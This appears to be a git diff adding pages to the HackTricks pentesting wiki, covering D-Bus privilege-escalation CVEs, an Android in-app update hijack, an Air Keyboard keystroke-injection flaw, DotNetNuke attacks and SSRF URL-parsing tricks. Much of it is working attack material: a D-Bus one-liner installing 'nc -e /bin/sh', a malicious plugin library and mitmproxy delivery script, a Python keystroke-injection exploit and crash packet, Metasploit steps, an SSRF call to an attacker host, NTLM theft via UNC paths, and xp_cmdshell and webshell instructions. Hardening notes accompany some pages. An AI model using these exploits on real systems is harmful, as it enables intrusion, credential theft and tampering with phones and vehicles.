- VLANPWN attack toolkit – <https://github.com/casterbytethrowback/VLANPWN>
|
||||||
|
- Twingate "What is VLAN Hopping?" (Aug 2024) – <https://www.twingate.com/blog/glossary/vlan%20hopping>
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|||||||
@ -464,11 +464,77 @@ finish:
|
|||||||
}
|
}
|
||||||
```
|
```
|
||||||
|
|
||||||
|
## Automated Enumeration Helpers (2023-2025)
|
||||||
|
|
||||||
|
Enumeration of a large D-Bus attack surface manually with `busctl`/`gdbus` quickly becomes painful. Two small FOSS utilities released in the last few years can speed things up during red-team or CTF engagements:
|
||||||
|
|
||||||
|
### dbusmap ("Nmap for D-Bus")
|
||||||
|
* Author: @taviso – [https://github.com/taviso/dbusmap](https://github.com/taviso/dbusmap)
|
||||||
|
* Written in C; single static binary (<50 kB) that walks every object path, pulls the `Introspect` XML and maps it to the owning PID/UID.
|
||||||
|
* Useful flags:
|
||||||
|
```bash
|
||||||
|
# List every service on the *system* bus and dump all callable methods
|
||||||
|
sudo dbus-map --dump-methods
|
||||||
|
|
||||||
|
# Actively probe methods/properties you can reach without Polkit prompts
|
||||||
|
sudo dbus-map --enable-probes --null-agent --dump-methods --dump-properties
|
||||||
|
```
|
||||||
|
* The tool marks unprotected well-known names with `!`, instantly revealing services you can *own* (take over) or method calls that are reachable from an unprivileged shell.
|
||||||
|
|
||||||
|
### uptux.py
|
||||||
|
* Author: @initstring – [https://github.com/initstring/uptux](https://github.com/initstring/uptux)
|
||||||
|
* Python-only script that looks for *writable* paths in systemd units **and** overly-permissive D-Bus policy files (e.g. `send_destination="*"`).
|
||||||
|
* Quick usage:
|
||||||
|
```bash
|
||||||
|
python3 uptux.py -n # run all checks but don’t write a log file
|
||||||
|
python3 uptux.py -d # enable verbose debug output
|
||||||
|
```
|
||||||
|
* The D-Bus module searches the directories below and highlights any service that can be spoofed or hijacked by a normal user:
|
||||||
|
* `/etc/dbus-1/system.d/` and `/usr/share/dbus-1/system.d/`
|
||||||
|
* `/etc/dbus-1/system-local.d/` (vendor overrides)
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Notable D-Bus Privilege-Escalation Bugs (2024-2025)
|
||||||
|
|
||||||
|
Keeping an eye on recently published CVEs helps spotting similar insecure patterns in custom code. The following high-impact local EoP issues all stem from missing authentication/authorization on the **system bus**:
|
||||||
|
|
||||||
|
| Year | CVE | Component | Root Cause | One-Liner PoC |
|
||||||
|
|------|-----|-----------|------------|---------------|
|
||||||
|
| 2024 | CVE-2024-45752 | `logiops` ≤ 0.3.4 (Logitech HID daemon) | The `logid` system service exposes an unrestricted `org.freedesktop.Logiopsd` interface that lets *any* user change device profiles and inject arbitrary shell commands via macro strings. | `gdbus call -y -d org.freedesktop.Logiopsd -o /org/freedesktop/Logiopsd -m org.freedesktop.Logiopsd.LoadConfig "/tmp/pwn.yml"` |
|
||||||
|
| 2025 | CVE-2025-23222 | Deepin `dde-api-proxy` ≤ 1.0.18 | A root-running proxy forwards legacy bus names to backend services **without forwarding caller UID/Polkit context**, so every forwarded request is treated as UID 0. | `gdbus call -y -d com.deepin.daemon.Grub2 -o /com/deepin/daemon/Grub2 -m com.deepin.daemon.Grub2.SetTimeout 1` |
|
||||||
|
| 2025 | CVE-2025-3931 | Red Hat Insights `yggdrasil` ≤ 0.4.6 | Public `Dispatch` method lacks any ACLs → attacker can order the *package-manager* worker to install arbitrary RPMs. | `dbus-send --system --dest=com.redhat.yggdrasil /com/redhat/Dispatch com.redhat.yggdrasil.Dispatch string:'{"worker":"pkg","action":"install","pkg":"nc -e /bin/sh"}'` |
|
||||||
|
|
||||||
|
Patterns to notice:
|
||||||
|
1. Service runs **as root on the system bus**.
|
||||||
|
2. No PolicyKit check (or it is bypassed by a proxy).
|
||||||
|
3. Method ultimately leads to `system()`/package installation/device re-configuration → code execution.
|
||||||
|
|
||||||
|
Use `dbusmap --enable-probes` or manual `busctl call` to confirm whether a patch back-ports proper `polkit_authority_check_authorization()` logic.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Hardening & Detection Quick-Wins
|
||||||
|
|
||||||
|
* Search for world-writable or *send/receive*-open policies:
|
||||||
|
```bash
|
||||||
|
grep -R --color -nE '<allow (own|send_destination|receive_sender)="[^"]*"' /etc/dbus-1/system.d /usr/share/dbus-1/system.d
|
||||||
|
```
|
||||||
|
* Require Polkit for dangerous methods – even *root* proxies should pass the *caller* PID to `polkit_authority_check_authorization_sync()` instead of their own.
|
||||||
|
* Drop privileges in long-running helpers (use `sd_pid_get_owner_uid()` to switch namespaces after connecting to the bus).
|
||||||
|
* If you cannot remove a service, at least *scope* it to a dedicated Unix group and restrict access in its XML policy.
|
||||||
|
* Blue-team: enable persistent capture of the system bus with `busctl capture --output=/var/log/dbus_$(date +%F).pcap` and import into Wireshark for anomaly detection.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
## References
|
## References
|
||||||
|
|
||||||
|
- [https://unit42.paloaltonetworks.com/usbcreator-d-bus-privilege-escalation-in-ubuntu-desktop/](https://unit42.paloaltonetworks.com/usbcreator-d-bus-privilege-escalation-in-ubuntu-desktop/)
|
||||||
|
- [https://security.opensuse.org/2025/01/24/dde-api-proxy-privilege-escalation.html](https://security.opensuse.org/2025/01/24/dde-api-proxy-privilege-escalation.html)
|
||||||
|
|
||||||
|
|
||||||
- [https://unit42.paloaltonetworks.com/usbcreator-d-bus-privilege-escalation-in-ubuntu-desktop/](https://unit42.paloaltonetworks.com/usbcreator-d-bus-privilege-escalation-in-ubuntu-desktop/)
|
- [https://unit42.paloaltonetworks.com/usbcreator-d-bus-privilege-escalation-in-ubuntu-desktop/](https://unit42.paloaltonetworks.com/usbcreator-d-bus-privilege-escalation-in-ubuntu-desktop/)
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|||||||
@ -26,6 +26,7 @@ Sometimes it is interesting to **modify the application code** to access **hidde
|
|||||||
|
|
||||||
- [Spoofing your location in Play Store](spoofing-your-location-in-play-store.md)
|
- [Spoofing your location in Play Store](spoofing-your-location-in-play-store.md)
|
||||||
- [Shizuku Privileged API (ADB-based non-root privileged access)](shizuku-privileged-api.md)
|
- [Shizuku Privileged API (ADB-based non-root privileged access)](shizuku-privileged-api.md)
|
||||||
|
- [Exploiting Insecure In-App Update Mechanisms](insecure-in-app-update-rce.md)
|
||||||
- **Download APKs**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/), [https://github.com/kiber-io/apkd](https://github.com/kiber-io/apkd)
|
- **Download APKs**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/), [https://github.com/kiber-io/apkd](https://github.com/kiber-io/apkd)
|
||||||
- Extract APK from device:
|
- Extract APK from device:
|
||||||
|
|
||||||
@ -50,6 +51,12 @@ java -jar ../APKEditor.jar m -i splits/ -o merged.apk
|
|||||||
java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed
|
java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed
|
||||||
```
|
```
|
||||||
|
|
||||||
|
## Case Studies & Vulnerabilities
|
||||||
|
|
||||||
|
{{#ref}}
|
||||||
|
../ios-pentesting/air-keyboard-remote-input-injection.md
|
||||||
|
{{#endref}}
|
||||||
|
|
||||||
## Static Analysis
|
## Static Analysis
|
||||||
|
|
||||||
First of all, for analysing an APK you should **take a look to the to the Java code** using a decompiler.\
|
First of all, for analysing an APK you should **take a look to the to the Java code** using a decompiler.\
|
||||||
|
|||||||
@ -0,0 +1,135 @@
|
|||||||
|
# Insecure In-App Update Mechanisms – Remote Code Execution via Malicious Plugins
|
||||||
|
|
||||||
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
|
Many Android applications implement their **own “plugin” or “dynamic feature” update channels** instead of using the Google Play Store. When the implementation is insecure an attacker able to intercept the traffic can supply **arbitrary native code that will be loaded inside the app process**, leading to full Remote Code Execution (RCE) on the handset – and in some cases on any external device controlled by the app (cars, IoT, medical devices …).
|
||||||
|
|
||||||
|
This page summarises a real‐world vulnerability chain found in the Xtool **AnyScan** automotive-diagnostics app (v4.40.11 → 4.40.40) and generalises the technique so you can audit other Android apps and weaponise the mis-configuration during a red-team engagement.
|
||||||
|
|
||||||
|
---
|
||||||
|
## 1. Identifying an Insecure TLS TrustManager
|
||||||
|
|
||||||
|
1. Decompile the APK with jadx / apktool and locate the networking stack (OkHttp, HttpUrlConnection, Retrofit…).
|
||||||
|
2. Look for a **custom `TrustManager`** or `HostnameVerifier` that blindly trusts every certificate:
|
||||||
|
|
||||||
|
```java
|
||||||
|
public static TrustManager[] buildTrustManagers() {
|
||||||
|
return new TrustManager[]{
|
||||||
|
new X509TrustManager() {
|
||||||
|
public void checkClientTrusted(X509Certificate[] chain, String authType) {}
|
||||||
|
public void checkServerTrusted(X509Certificate[] chain, String authType) {}
|
||||||
|
public X509Certificate[] getAcceptedIssuers() {return new X509Certificate[]{};}
|
||||||
|
}
|
||||||
|
};
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
3. If present the application will accept **any TLS certificate** → you can run a transparent **MITM proxy** with a self-signed cert:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
mitmproxy -p 8080 -s addon.py # see §4
|
||||||
|
iptables -t nat -A OUTPUT -p tcp --dport 443 -j REDIRECT --to-ports 8080 # on rooted device / emulator
|
||||||
|
```
|
||||||
|
|
||||||
|
## 2. Reverse-Engineering the Update Metadata
|
||||||
|
|
||||||
|
In the AnyScan case each app launch triggers an HTTPS GET to:
|
||||||
|
```
|
||||||
|
https://apigw.xtoolconnect.com/uhdsvc/UpgradeService.asmx/GetUpdateListEx
|
||||||
|
```
|
||||||
|
The response body is an **XML document** whose `<FileData>` nodes contain **Base64-encoded, DES-ECB encrypted** JSON describing every available plugin.
|
||||||
|
|
||||||
|
Typical hunting steps:
|
||||||
|
1. Locate the crypto routine (e.g. `RemoteServiceProxy`) and recover:
|
||||||
|
* algorithm (DES / AES / RC4 …)
|
||||||
|
* mode of operation (ECB / CBC / GCM …)
|
||||||
|
* hard-coded key / IV (often 56-bit DES keys or 128-bit AES keys in constants)
|
||||||
|
2. Re-implement the function in Python to decrypt / encrypt the metadata:
|
||||||
|
|
||||||
|
```python
|
||||||
|
from Crypto.Cipher import DES
|
||||||
|
from base64 import b64decode, b64encode
|
||||||
|
|
||||||
|
KEY = IV = b"\x2A\x10\x2A\x10\x2A\x10\x2A" # 56-bit key observed in AnyScan
|
||||||
|
|
||||||
|
def decrypt_metadata(data_b64: str) -> bytes:
|
||||||
|
cipher = DES.new(KEY, DES.MODE_ECB)
|
||||||
|
return cipher.decrypt(b64decode(data_b64))
|
||||||
|
|
||||||
|
def encrypt_metadata(plaintext: bytes) -> str:
|
||||||
|
cipher = DES.new(KEY, DES.MODE_ECB)
|
||||||
|
return b64encode(cipher.encrypt(plaintext.ljust((len(plaintext)+7)//8*8, b"\x00"))).decode()
|
||||||
|
```
|
||||||
|
|
||||||
|
## 3. Craft a Malicious Plugin
|
||||||
|
|
||||||
|
1. Pick any legitimate plugin ZIP and replace the native library with your payload:
|
||||||
|
|
||||||
|
```c
|
||||||
|
// libscan_x64.so – constructor runs as soon as the library is loaded
|
||||||
|
__attribute__((constructor))
|
||||||
|
void init(void){
|
||||||
|
__android_log_print(ANDROID_LOG_INFO, "PWNED", "Exploit loaded! uid=%d", getuid());
|
||||||
|
// spawn reverse shell, drop file, etc.
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
```bash
|
||||||
|
$ aarch64-linux-android-gcc -shared -fPIC payload.c -o libscan_x64.so
|
||||||
|
$ zip -r PWNED.zip libscan_x64.so assets/ meta.txt
|
||||||
|
```
|
||||||
|
|
||||||
|
2. Update the JSON metadata so that `"FileName" : "PWNED.zip"` and `"DownloadURL"` points to your HTTP server.
|
||||||
|
3. DES-encrypt + Base64-encode the modified JSON and copy it back inside the intercepted XML.
|
||||||
|
|
||||||
|
## 4. Deliver the Payload with mitmproxy
|
||||||
|
|
||||||
|
`addon.py` example that *silently* swaps the original metadata:
|
||||||
|
|
||||||
|
```python
|
||||||
|
from mitmproxy import http
|
||||||
|
MOD_XML = open("fake_metadata.xml", "rb").read()
|
||||||
|
|
||||||
|
def request(flow: http.HTTPFlow):
|
||||||
|
if b"/UpgradeService.asmx/GetUpdateListEx" in flow.request.path:
|
||||||
|
flow.response = http.Response.make(
|
||||||
|
200,
|
||||||
|
MOD_XML,
|
||||||
|
{"Content-Type": "text/xml"}
|
||||||
|
)
|
||||||
|
```
|
||||||
|
|
||||||
|
Run a simple web server to host the malicious ZIP:
|
||||||
|
```bash
|
||||||
|
python3 -m http.server 8000 --directory ./payloads
|
||||||
|
```
|
||||||
|
|
||||||
|
When the victim launches the app it will:
|
||||||
|
* fetch our forged XML over the MITM channel;
|
||||||
|
* decrypt & parse it with the hard-coded DES key;
|
||||||
|
* download `PWNED.zip` → unzip inside private storage;
|
||||||
|
* `dlopen()` the included *libscan_x64.so*, instantly executing our code **with the app’s permissions** (camera, GPS, Bluetooth, filesystem, …).
|
||||||
|
|
||||||
|
Because the plugin is cached on disk the backdoor **persists across reboots** and runs every time the user selects the related feature.
|
||||||
|
|
||||||
|
## 5. Post-Exploitation Ideas
|
||||||
|
|
||||||
|
* Steal session cookies, OAuth tokens, or JWTs stored by the app.
|
||||||
|
* Drop a second-stage APK and silently install it via `pm install` (the app already has `REQUEST_INSTALL_PACKAGES`).
|
||||||
|
* Abuse any connected hardware – in the AnyScan scenario you can send arbitrary **OBD-II / CAN bus commands** (unlock doors, disable ABS, etc.).
|
||||||
|
|
||||||
|
---
|
||||||
|
### Detection & Mitigation Checklist (blue team)
|
||||||
|
|
||||||
|
* NEVER ship a production build with a custom TrustManager/HostnameVerifier that disables certificate validation.
|
||||||
|
* Do not download executable code from outside Google Play. If you *must*, sign each plugin with the same **apkSigning v2** key and verify the signature before loading.
|
||||||
|
* Replace weak/hard-coded crypto with **AES-GCM** and a server-side rotating key.
|
||||||
|
* Validate the integrity of downloaded archives (signature or at least SHA-256).
|
||||||
|
|
||||||
|
---
|
||||||
|
## References
|
||||||
|
|
||||||
|
- [NowSecure – Remote Code Execution Discovered in Xtool AnyScan App](https://www.nowsecure.com/blog/2025/07/16/remote-code-execution-discovered-in-xtool-anyscan-app-risks-to-phones-and-vehicles/)
|
||||||
|
- [Android – Unsafe TrustManager patterns](https://developer.android.com/privacy-and-security/risks/unsafe-trustmanager)
|
||||||
|
|
||||||
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
@ -1148,6 +1148,12 @@ To identify the libraries an application uses, the **`otool`** command can be em
|
|||||||
otool -L <application_path>
|
otool -L <application_path>
|
||||||
```
|
```
|
||||||
|
|
||||||
|
## Interesting Vulnerabilities & Case Studies
|
||||||
|
|
||||||
|
{{#ref}}
|
||||||
|
air-keyboard-remote-input-injection.md
|
||||||
|
{{#endref}}
|
||||||
|
|
||||||
## **References & More Resources**
|
## **References & More Resources**
|
||||||
|
|
||||||
- [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06b-basic-security-testing#information-gathering](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06b-basic-security-testing#information-gathering)
|
- [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06b-basic-security-testing#information-gathering](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06b-basic-security-testing#information-gathering)
|
||||||
|
|||||||
@ -0,0 +1,104 @@
|
|||||||
|
# Air Keyboard Remote Input Injection (Unauthenticated TCP Listener)
|
||||||
|
|
||||||
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
|
## TL;DR
|
||||||
|
|
||||||
|
The iOS version of the commercial "Air Keyboard" application (App Store ID 6463187929) opens a **clear-text TCP service on port 8888** that accepts keystroke frames **without any authentication**.
|
||||||
|
Any device on the same Wi-Fi network can connect to that port and inject arbitrary keyboard input into the victim’s phone, achieving **full remote interaction hijacking**.
|
||||||
|
|
||||||
|
A companion Android build listens on **port 55535**. It performs a weak AES-ECB handshake, but crafted garbage causes an **unhandled exception in the OpenSSL decryption routine**, crashing the background service (**DoS**).
|
||||||
|
|
||||||
|
## 1. Service Discovery
|
||||||
|
|
||||||
|
Scan the local network and look for the two fixed ports used by the apps:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# iOS (input-injection)
|
||||||
|
nmap -p 8888 --open 192.168.1.0/24
|
||||||
|
|
||||||
|
# Android (weakly-authenticated service)
|
||||||
|
nmap -p 55535 --open 192.168.1.0/24
|
||||||
|
```
|
||||||
|
|
||||||
|
On Android handsets you can identify the responsible package locally:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
adb shell netstat -tulpn | grep 55535 # no root required on emulator
|
||||||
|
|
||||||
|
# rooted device / Termux
|
||||||
|
netstat -tulpn | grep LISTEN
|
||||||
|
ls -l /proc/<PID>/cmdline # map PID → package name
|
||||||
|
```
|
||||||
|
|
||||||
|
## 2. Frame Format (iOS)
|
||||||
|
|
||||||
|
The binary reveals the following parsing logic inside the `handleInputFrame()` routine:
|
||||||
|
|
||||||
|
```
|
||||||
|
[length (2 bytes little-endian)]
|
||||||
|
[device_id (1 byte)]
|
||||||
|
[payload ASCII keystrokes]
|
||||||
|
```
|
||||||
|
|
||||||
|
The declared length includes the `device_id` byte **but not** the two-byte header itself.
|
||||||
|
|
||||||
|
## 3. Exploitation PoC
|
||||||
|
|
||||||
|
```python
|
||||||
|
#!/usr/bin/env python3
|
||||||
|
"""Inject arbitrary keystrokes into Air Keyboard for iOS"""
|
||||||
|
import socket, sys
|
||||||
|
|
||||||
|
target_ip = sys.argv[1] # e.g. 192.168.1.50
|
||||||
|
keystrokes = b"open -a Calculator\n" # payload visible to the user
|
||||||
|
|
||||||
|
frame = bytes([(len(keystrokes)+1) & 0xff, (len(keystrokes)+1) >> 8])
|
||||||
|
frame += b"\x01" # device_id = 1 (hard-coded)
|
||||||
|
frame += keystrokes
|
||||||
|
|
||||||
|
with socket.create_connection((target_ip, 8888)) as s:
|
||||||
|
s.sendall(frame)
|
||||||
|
print("Injected", keystrokes)
|
||||||
|
```
|
||||||
|
|
||||||
|
Any printable ASCII (including `\n`, `\r`, special keys, etc.) can be sent, effectively granting the attacker the same power as physical user input: launching apps, sending IMs, visiting phishing URLs, etc.
|
||||||
|
|
||||||
|
## 4. Android Companion – Denial-of-Service
|
||||||
|
|
||||||
|
The Android port (55535) expects a 4-character password encrypted with a **hard-coded AES-128-ECB key** followed by a random nonce. Parsing errors bubble up to `AES_decrypt()` and are not caught, terminating the listener thread. A single malformed packet is therefore enough to keep legitimate users disconnected until the process is relaunched.
|
||||||
|
|
||||||
|
```python
|
||||||
|
import socket
|
||||||
|
socket.create_connection((victim, 55535)).send(b"A"*32) # minimal DoS
|
||||||
|
```
|
||||||
|
|
||||||
|
## 5. Root Cause
|
||||||
|
|
||||||
|
1. **No origin / integrity checks** on incoming frames (iOS).
|
||||||
|
2. **Cryptographic misuse** (static key, ECB, missing length validation) and **lack of exception handling** (Android).
|
||||||
|
|
||||||
|
## 6. Mitigations & Hardening Ideas
|
||||||
|
|
||||||
|
* Never expose unauthenticated services on a mobile handset.
|
||||||
|
* Derive per-device secrets during onboarding and verify them before processing input.
|
||||||
|
* Bind the listener to `127.0.0.1` and use a mutually authenticated, encrypted transport (e.g., TLS, Noise) for remote control.
|
||||||
|
* Detect unexpected open ports during mobile security reviews (`netstat`, `lsof`, `frida-trace` on `socket()` etc.).
|
||||||
|
* As an end-user: uninstall Air Keyboard or use it only on trusted, isolated Wi-Fi networks.
|
||||||
|
|
||||||
|
## Detection Cheat-Sheet (Pentesters)
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# Quick one-liner to locate vulnerable devices in a /24
|
||||||
|
nmap -n -p 8888,55535 --open 192.168.1.0/24 -oG - | awk '/Ports/{print $2,$3,$4}'
|
||||||
|
|
||||||
|
# Inspect running sockets on a connected Android target
|
||||||
|
adb shell "for p in $(lsof -PiTCP -sTCP:LISTEN -n -t); do echo -n \"$p → "; cat /proc/$p/cmdline; done"
|
||||||
|
```
|
||||||
|
|
||||||
|
## References
|
||||||
|
|
||||||
|
- [Remote Input Injection Vulnerability in Air Keyboard iOS App Still Unpatched](https://www.mobile-hacker.com/2025/07/17/remote-input-injection-vulnerability-in-air-keyboard-ios-app-still-unpatched/)
|
||||||
|
- [CXSecurity advisory WLB-2025060015](https://cxsecurity.com/issue/WLB-2025060015)
|
||||||
|
|
||||||
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
@ -4,44 +4,97 @@
|
|||||||
|
|
||||||
## DotNetNuke (DNN)
|
## DotNetNuke (DNN)
|
||||||
|
|
||||||
If you enter as **administrator** in DNN it's easy to obtain RCE.
|
If you enter as **administrator** in DNN it's easy to obtain **RCE**, however a number of *unauthenticated* and *post-auth* techniques have been published in the last few years. The following cheat-sheet collects the most useful primitives for both offensive and defensive work.
|
||||||
|
|
||||||
## RCE
|
---
|
||||||
|
## Version & Environment Enumeration
|
||||||
|
|
||||||
### Via SQL
|
* Check the *X-DNN* HTTP response header – it usually discloses the exact platform version.
|
||||||
|
* The installation wizard leaks the version in `/Install/Install.aspx?mode=install` (accessible on very old installs).
|
||||||
|
* `/API/PersonaBar/GetStatus` (9.x) returns a JSON blob containing `"dnnVersion"` for low-privilege users.
|
||||||
|
* Typical cookies you will see on a live instance:
|
||||||
|
* `.DOTNETNUKE` – ASP.NET forms authentication ticket.
|
||||||
|
* `DNNPersonalization` – contains XML/serialized user profile data (old versions – see RCE below).
|
||||||
|
|
||||||
A SQL console is accessible under the **`Settings`** page where you can enable **`xp_cmdshell`** and **run operating system commands**.
|
---
|
||||||
|
## Unauthenticated Exploitation
|
||||||
|
|
||||||
Use these lines to enable **`xp_cmdshell`**:
|
### 1. Cookie Deserialization RCE (CVE-2017-9822 & follow-ups)
|
||||||
|
*Affected versions ≤ 9.3.0-RC*
|
||||||
|
|
||||||
|
`DNNPersonalization` is deserialized on every request when the built-in 404 handler is enabled. Crafted XML can therefore lead to arbitrary gadget chains and code execution.
|
||||||
|
|
||||||
|
```
|
||||||
|
msf> use exploit/windows/http/dnn_cookie_deserialization_rce
|
||||||
|
msf> set RHOSTS <target>
|
||||||
|
msf> set LHOST <attacker_ip>
|
||||||
|
msf> run
|
||||||
|
```
|
||||||
|
The module automatically chooses the right path for patched but still vulnerable versions (CVE-2018-15811/15812/18325/18326). Exploitation works **without authentication** on 7.x–9.1.x and with a *verified* low-privilege account on 9.2.x+.
|
||||||
|
|
||||||
|
### 2. Server-Side Request Forgery (CVE-2025-32372)
|
||||||
|
*Affected versions < 9.13.8 – Patch released April 2025*
|
||||||
|
|
||||||
|
A bypass of the older `DnnImageHandler` fix enables an attacker to coerce the server to issue **arbitrary GET requests** (semi-blind SSRF). Practical impacts:
|
||||||
|
|
||||||
|
* Internal port scan / metadata service discovery in cloud deployments.
|
||||||
|
* Reach hosts otherwise firewalled from the Internet.
|
||||||
|
|
||||||
|
Proof-of-concept (replace `TARGET` & `ATTACKER`):
|
||||||
|
```
|
||||||
|
https://TARGET/API/RemoteContentProxy?url=http://ATTACKER:8080/poc
|
||||||
|
```
|
||||||
|
The request is triggered in the background; monitor your listener for callbacks.
|
||||||
|
|
||||||
|
### 3. NTLM Hash Exposure via UNC Redirect (CVE-2025-52488)
|
||||||
|
*Affected versions 6.0.0 – 9.x (< 10.0.1)*
|
||||||
|
|
||||||
|
Specially crafted content can make DNN attempt to fetch a resource using a **UNC path** such as `\\attacker\share\img.png`. Windows will happily perform NTLM negotiation, leaking the server-account hashes to the attacker. Upgrade to **10.0.1** or disable outbound SMB at the firewall.
|
||||||
|
|
||||||
|
### 4. IP Filter Bypass (CVE-2025-52487)
|
||||||
|
If administrators rely on *Host/IP Filters* for admin portal protection, be aware that versions prior to **10.0.1** can be bypassed by manipulating `X-Forwarded-For` in a reverse-proxy scenario.
|
||||||
|
|
||||||
|
---
|
||||||
|
## Post-Authentication to RCE
|
||||||
|
|
||||||
|
### Via SQL console
|
||||||
|
Under **`Settings → SQL`** a built-in query window allows execution against the site database. On Microsoft SQL Server you can enable **`xp_cmdshell`** and spawn commands:
|
||||||
|
|
||||||
```sql
|
```sql
|
||||||
EXEC sp_configure 'show advanced options', '1'
|
EXEC sp_configure 'show advanced options', 1;
|
||||||
RECONFIGURE
|
RECONFIGURE;
|
||||||
EXEC sp_configure 'xp_cmdshell', '1'
|
EXEC sp_configure 'xp_cmdshell', 1;
|
||||||
RECONFIGURE
|
RECONFIGURE;
|
||||||
|
GO
|
||||||
|
xp_cmdshell 'whoami';
|
||||||
```
|
```
|
||||||
|
|
||||||
And press **"Run Script"** to run that sQL sentences.
|
### Via ASPX webshell upload
|
||||||
|
1. Go to **`Settings → Security → More → More Security Settings`**.
|
||||||
|
2. Append `aspx` (or `asp`) to **Allowable File Extensions** and **Save**.
|
||||||
|
3. Browse to **`/admin/file-management`** and upload `shell.aspx`.
|
||||||
|
4. Trigger it at **`/Portals/0/shell.aspx`**.
|
||||||
|
|
||||||
Then, use something like the following to run OS commands:
|
---
|
||||||
|
## Privilege Escalation on Windows
|
||||||
|
Once code execution is achieved as **IIS AppPool\<Site>**, common Windows privilege-escalation techniques apply. If the box is vulnerable you can leverage:
|
||||||
|
|
||||||
```sql
|
* **PrintSpoofer** / **SpoolFool** to abuse *SeImpersonatePrivilege*.
|
||||||
xp_cmdshell 'whoami'
|
* **Juicy/Sharp Potatoes** to escape *Service Accounts*.
|
||||||
```
|
|
||||||
|
|
||||||
### Via ASP webshell
|
---
|
||||||
|
## Hardening Recommendations (Blue Team)
|
||||||
|
|
||||||
In `Settings -> Security -> More -> More Security Settings` you can **add new allowed extensions** under `Allowable File Extensions`, and then clicking the `Save` button.
|
* **Upgrade** to at least **9.13.9** (fixes SSRF bypass) or preferably **10.0.1** (IP filter & NTLM issues).
|
||||||
|
* Remove residual **`InstallWizard.aspx*`** files after installation.
|
||||||
|
* Disable outbound SMB (ports 445/139) egress.
|
||||||
|
* Enforce strong *Host Filters* on the edge proxy rather than within DNN.
|
||||||
|
* Block access to `/API/RemoteContentProxy` if unused.
|
||||||
|
|
||||||
Add **`asp`** or **`aspx`** and then in **`/admin/file-management`** upload an **asp webshell** called `shell.asp` for example.
|
|
||||||
|
|
||||||
Then access to **`/Portals/0/shell.asp`** to access your webshell.
|
|
||||||
|
|
||||||
### Privilege Escalation
|
## References
|
||||||
|
|
||||||
You can **escalate privileges** using the **Potatoes** or **PrintSpoofer** for example.
|
|
||||||
|
|
||||||
|
* Metasploit `dnn_cookie_deserialization_rce` module documentation – practical unauthenticated RCE details (GitHub).
|
||||||
|
* GitHub Security Advisory GHSA-3f7v-qx94-666m – 2025 SSRF bypass & patch information.
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|||||||
@ -217,10 +217,46 @@ The “left square bracket” character `[` in the userinfo segment can cause Sp
|
|||||||
|
|
||||||
image from [https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/](https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/)
|
image from [https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/](https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/)
|
||||||
|
|
||||||
|
### IPv6 Zone Identifier (%25) Trick
|
||||||
|
|
||||||
|
Modern URL parsers that support RFC 6874 allow *link-local* IPv6 addresses to include a **zone identifier** after a percent sign. Some security filters are not aware of this syntax and will only strip square-bracketed IPv6 literals, letting the following payload reach an internal interface:
|
||||||
|
|
||||||
|
```text
|
||||||
|
http://[fe80::1%25eth0]/ # %25 = encoded '%', interpreted as fe80::1%eth0
|
||||||
|
http://[fe80::a9ff:fe00:1%25en0]/ # Another example (macOS style)
|
||||||
|
```
|
||||||
|
|
||||||
|
If the target application validates that the host is *not* `fe80::1` but stops parsing at the `%`, it may incorrectly treat the request as external. Always normalise the address **before** any security decision or strip the optional zone id entirely.
|
||||||
|
|
||||||
|
### Recent Library Parsing CVEs (2022–2025)
|
||||||
|
|
||||||
|
A number of mainstream frameworks have suffered from hostname-mismatch issues that can be exploited for SSRF once URL validation has been bypassed with the tricks listed above:
|
||||||
|
|
||||||
|
| Year | CVE | Component | Bug synopsis | Minimal PoC |
|
||||||
|
|------|-----|-----------|--------------|-------------|
|
||||||
|
| 2024 | CVE-2024-22243 / ‑22262 | Spring `UriComponentsBuilder` | `[` is not allowed in the *userinfo* section, so `https://example.com\[@internal` is parsed as host `example.com` by Spring but as `internal` by browsers, enabling open-redirect & SSRF when host allow-lists are used. Upgrade to Spring 5.3.34 / 6.0.19 / 6.1.6+. |
|
||||||
|
| 2023 | CVE-2023-27592 | **urllib3** <1.26.15 | Backslash confusion allowed `http://example.com\\@169.254.169.254/` to bypass host filters that split on `@`. |
|
||||||
|
